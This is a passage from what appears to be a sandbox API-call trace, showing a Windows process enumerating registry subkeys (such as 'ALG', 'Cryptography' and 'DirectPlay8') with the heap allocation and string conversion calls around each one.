BaseAddress=0x9dc120) returned 1 [0206.056] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.056] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.056] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x9db930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0206.056] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0206.056] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x9dc0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0206.056] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.056] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.056] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.056] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.056] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x9db930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0206.057] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.057] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x9dc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0206.057] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.057] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.057] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.057] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.057] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x9db930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0206.057] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.057] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x9dc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0206.057] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.057] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.057] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.057] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.057] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x9db930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0206.057] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.057] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x9dc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0206.057] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.057] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.057] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.057] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.057] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x9db930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0206.057] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.058] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x9dc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0206.058] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.058] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.058] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.058] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.058] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x9db930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0206.058] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0206.058] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x9dc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0206.058] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.058] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.058] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.058] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.058] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x9db930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0206.058] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0206.058] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x9dc0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0206.058] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.058] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.058] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.058] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.058] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x9db930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0206.058] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0206.058] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x9dc120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0206.058] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.058] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.058] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.058] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.058] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x9db930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0206.059] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.059] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x9dc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0206.059] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.059] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.059] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.059] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.059] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x9db930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0206.059] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.059] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x9dc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0206.059] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.059] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.059] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.059] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.059] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x9db930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0206.059] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.059] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x9dc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0206.059] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.059] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.059] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.059] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.059] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x9db930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0206.059] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.059] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0206.059] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.059] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.060] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.060] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.060] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x9db930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0206.060] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0206.060] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x9dc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0206.060] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.060] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.060] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.060] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.060] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x9db930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0206.060] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0206.060] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x9dc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0206.060] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.060] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.060] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.060] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.060] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x9db930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0206.060] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0206.060] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x9dc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0206.060] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.060] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.060] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.060] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.060] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x9db930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0206.060] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.062] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x9dc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0206.062] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.062] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.062] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.062] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.062] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x9db930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0206.062] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.062] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x9dc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0206.062] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.062] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.062] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.062] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.062] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x9db930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0206.062] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.062] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0206.062] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.062] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.062] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.062] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.062] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x9db930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0206.062] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.062] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x9dc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0206.062] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.062] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.062] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.063] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.063] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x9db930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0206.063] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0206.063] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x9dc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0206.063] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc0d8 [0206.063] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.063] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.063] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dbbb8) returned 1 [0206.063] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x9db930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0206.063] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9dbbb8 [0206.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 